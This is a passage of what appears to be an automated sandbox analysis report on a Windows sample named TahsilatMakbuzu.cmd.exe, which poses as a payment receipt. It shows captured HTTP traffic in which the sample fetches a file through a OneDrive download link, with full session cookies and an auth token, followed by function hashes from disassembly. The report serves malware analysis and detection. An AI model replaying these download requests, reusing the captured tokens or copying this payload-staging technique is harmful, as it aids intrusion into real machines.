2024-07-04 18:18:42 UTC	2216	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:lCTru1Wc3Ig=:vn8cAwnqI90Jh2DnF3gntVhowgpCV6o4POtNH/bqLeE=:F; domain=.live.com; path=/ Set-Cookie: xid=a38fce7e-c9c1-4a69-b9dd-b97058569348&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:41 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTIxLCJuYmYiOjE3MjAxMTcxMjEsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiR251IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjI3ZjI4NDE2MTRhYjc4YTZlOTM5Mzk0MjE3MjVjOTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEyMX0.CRP_P2wi5Qied15szM9qnBrvjfXGaBY5ra-jX5HVXtNk8wZYQRzYMpJ1fJdm2yQsJYuRqZCDxYrvnyTBQiF6k2cEs6-G34Mp4Zzow-CVvnLjknwRJ234rYnlGqHE6q_yT5-C7nAu8K8i4lPeys63BcCU7OegBWSA1reAQnQJXZe1XnzAnqLIhzODXivfWn6MP5HjmW3WKNUty7x95_ZwVeRNYYQAyo0R2FCBmhAe8S4-eEpumdApnV3_Ky6I0bT1gUgGBI3TFGK7W3UrOpx1ZoUMiEpaDFOv2G00bToywrlUaSCRGNHvjhxRR28yY7GzEqC9qFAY2WWXFei0V7ncMg; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:42 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 656bc47b7b-2zg5h X-ODWebServer: nameastus2708987-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 505322764E3B4257B90BE2D903D36488 Ref B: BN3EDGE0922 Ref C: 2024-07-04T18:18:41Z Date: Thu, 04 Jul 2024 18:18:41 GMT Connection: close
2024-07-04 18:18:42 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49879	13.107.139.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:43 UTC	1276	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTIxLCJuYmYiOjE3MjAxMTcxMjEsImdpdmVuX25hbWUiOiI2MCIsImZhbWlseV9uYW1lIjoiR251IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjI3ZjI4NDE2MTRhYjc4YTZlOTM5Mzk0MjE3MjVjOTYiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEyMX0.CRP_P2wi5Qied15szM9qnBrvjfXGaBY5ra-jX5HVXtNk8wZYQRzYMpJ1fJdm2yQsJYuRqZCDxYrvnyTBQiF6k2cEs6-G34Mp4Zzow-CVvnLjknwRJ234rYnlGqHE6q_yT5-C7nAu8K8i4lPeys63BcCU7OegBWSA1reAQnQJXZe1XnzAnqLIhzODXivfWn6MP5HjmW3WKNUty7x95_ZwVeRNYYQAyo0R2FCBmhAe8S4-eEpumdApnV3_Ky6I0bT1gUgGBI3TFGK7W3UrOpx1ZoUMiEpaDFOv2G00bToywrlUaSCRGNHvjhxRR28yY7GzEqC9qFAY2WWXFei0V7ncMg; E=P:lCTru1Wc3Ig=:vn8cAwnqI90Jh2DnF3gntVhowgpCV6o4POtNH/bqLeE=:F; xid=a38fce7e-c9c1-4a69-b9dd-b97058569348& [TRUNCATED]
2024-07-04 18:18:43 UTC	1924	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,19367,0,62283,26 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 531239a1-f015-5000-f1ab-dd37adaade29 request-id: 531239a1-f015-5000-f1ab-dd37adaade29 MS-CV: oTkSUxXwAFDxq903rareKQ.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 27 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 1F355B2404B04758A1E78631495AA695 Ref B: BN3EDGE0505 Ref C: 2024-07-04T18:18:43Z Date: Thu, 04 Jul 2024 18:18:43 GMT Connection: close
2024-07-04 18:18:43 UTC	122	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 5f 6c 61 79 6f 75 74 73 2f 31 35 2f 69 6d 61 67 65 73 2f 6f 64 62 66 61 76 69 63 6f 6e 2e 69 63 6f 3f 72 65 76 3d 34 37 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 76 6e 64 2e 6d 69 63 72 6f 73 6f 66 74 2e 69 63 6f 6e 22 20 69 64 3d 22 66 61 76 69 63 6f 6e 22 20 2f 3e Data Ascii: 8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" /><link rel="shortcut icon" href="/_layouts/15/images/odbfavicon.ico?rev=47" type="image/vnd.microsoft.icon" id="favicon" />
2024-07-04 18:18:43 UTC	6264	IN	Data Raw: 39 39 39 42 36 46 32 42 41 22 3a 74 72 75 65 2c 22 46 33 43 34 34 33 43 34 2d 31 36 37 38 2d 34 33 34 39 2d 41 36 43 35 2d 45 35 37 35 32 42 39 35 43 33 46 34 22 3a 74 72 75 65 2c 22 37 34 45 38 37 34 32 38 2d 38 33 46 42 2d 34 31 31 36 2d 39 42 39 38 2d 34 41 37 44 34 46 31 32 36 45 41 32 22 3a 74 72 75 65 2c 22 31 37 35 34 38 33 41 37 2d 35 37 44 34 2d 34 32 33 33 2d 42 34 39 42 2d 42 39 36 33 33 39 41 35 41 35 46 45 22 3a 74 72 75 65 2c 22 32 44 32 37 38 44 46 42 2d 41 46 41 46 2d 34 42 33 45 2d 38 35 42 42 2d 37 41 39 43 35 41 37 30 39 33 33 30 22 3a 74 72 75 65 2c 22 33 43 39 35 43 45 37 33 2d 44 38 33 41 2d 34 39 37 34 2d 42 38 41 31 2d 43 34 41 30 39 46 32 36 31 41 44 30 22 3a 74 72 75 65 2c 22 32 32 43 45 37 42 30 35 2d 32 45 37 43 2d 34 42 31 38 Data Ascii: 999B6F2BA":true,"F3C443C4-1678-4349-A6C5-E5752B95C3F4":true,"74E87428-83FB-4116-9B98-4A7D4F126EA2":true,"175483A7-57D4-4233-B49B-B96339A5A5FE":true,"2D278DFB-AFAF-4B3E-85BB-7A9C5A709330":true,"3C95CE73-D83A-4974-B8A1-C4A09F261AD0":true,"22CE7B05-2E7C-4B18
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 Data Ascii: "308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD2678
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 Data Ascii: D-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 Data Ascii: F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d Data Ascii: -E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 Data Ascii: 955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-854
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 Data Ascii: rue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76
2024-07-04 18:18:43 UTC	8192	IN	Data Raw: 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a Data Ascii: 8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":

Target ID:	0
Start time:	14:15:50
Start date:	04/07/2024
Path:	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe"
Imagebase:	0xa60000
File size:	45'056 bytes
MD5 hash:	1D4E40D9184FAC8D509B0F51F3C9732F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Function 02B9370D Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea64fe3d759853a1c1015718cdc8bb40cdba372c4a94df1f0e818e3944dfd18f
Instruction ID: 60177fcbb43f943c2221b2bc70ae7fe1f4ace5928a7a4a04a5e60a5dac398d2b
Opcode Fuzzy Hash: ea64fe3d759853a1c1015718cdc8bb40cdba372c4a94df1f0e818e3944dfd18f
Instruction Fuzzy Hash: F8E1ED71A0420A9FCF04DFA8C890BAEBBF2EF44300F1585F6D916AB241D735AD42CB91

Function 02B93BA0 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c28080391a7a5ef648087e592985dccb7e695341bd774b712df71fa95275545
Instruction ID: c02af2fc6d19814fa29112717cc30ded49aa1378f47f443e615ed539626fb962
Opcode Fuzzy Hash: 3c28080391a7a5ef648087e592985dccb7e695341bd774b712df71fa95275545
Instruction Fuzzy Hash: 4ED1BD71A08A06CBDF25DF68C4907BAB7F6EF44300F5588FAD45697285D334E982CBA1

Function 02B95ED6 Relevance: 4.0, Strings: 2, Instructions: 1457COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 02B94DD6
4, xrefs: 02B95E93

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID: 4$jjjjjj
API String ID: 0-102010443
Opcode ID: 0dd523fb410a46aeefc17203f0e189512a4705d07607afac45db83ea9b68ea8d
Instruction ID: 506d4806f3b7cb82c07770ea32bd1aab548753c82760f278e1e247bffb4bd242
Opcode Fuzzy Hash: 0dd523fb410a46aeefc17203f0e189512a4705d07607afac45db83ea9b68ea8d
Instruction Fuzzy Hash: 8CE2287A250110EFDB4A9F98D958D55BBB2FF4D32471A81D8F2099B232C732E861EF50

Function 02B95E55 Relevance: 3.9, Strings: 2, Instructions: 1449COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 02B94DD6
4, xrefs: 02B95E93

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID: 4$jjjjjj
API String ID: 0-102010443
Opcode ID: 9650187ed4ced1e75d675cb3ad6f77a4c4c644bf69bf1afb9341bbfa0fad1f6f
Instruction ID: 7421e6fe159a7e8ba764cecb68515c065389da428b38926c7b7feeb93e07b722
Opcode Fuzzy Hash: 9650187ed4ced1e75d675cb3ad6f77a4c4c644bf69bf1afb9341bbfa0fad1f6f
Instruction Fuzzy Hash: 45E2287A250110EFDB4A9F98D958D55BBB2FF4D32471A81D8F2099B232C732E861EF50

Function 02B95F6E Relevance: 2.7, Strings: 1, Instructions: 1435COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 02B94DD6

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: e48f69db012a3a0705f841073a6acef66fca644c2193484e8a0d0c50dca0a834
Instruction ID: 96d0697dc48de7a88f4cb2b8724cf4c72f8a8e85aee298ca8c1337df2bdc46b6
Opcode Fuzzy Hash: e48f69db012a3a0705f841073a6acef66fca644c2193484e8a0d0c50dca0a834
Instruction Fuzzy Hash: EAE2277A250510EFDB4A9F98D958D55BBB2FF4D32471A81D8F2099B232C732E861EF40

Function 02B95F1E Relevance: 2.7, Strings: 1, Instructions: 1412COMMON

Download Yara Rule

Strings

jjjjjj, xrefs: 02B94DD6

Memory Dump Source

Source File: 00000000.00000002.4536270163.0000000002B90000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2b90000_TahsilatMakbuzu.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: dac4416212c13a865d3cd8f201887dcda5f3f554209f81be33df949b46a5bd5b
Instruction ID: 185cf0a13b2c08778978d8de81494f53088d4a7177cd3d5fe8462e4e49cee256
Opcode Fuzzy Hash: dac4416212c13a865d3cd8f201887dcda5f3f554209f81be33df949b46a5bd5b
Instruction Fuzzy Hash: C3D2277A250500EFDB4A9F98D958D55BBB2FF4D32471A81D8F2099B232C732E861EF40

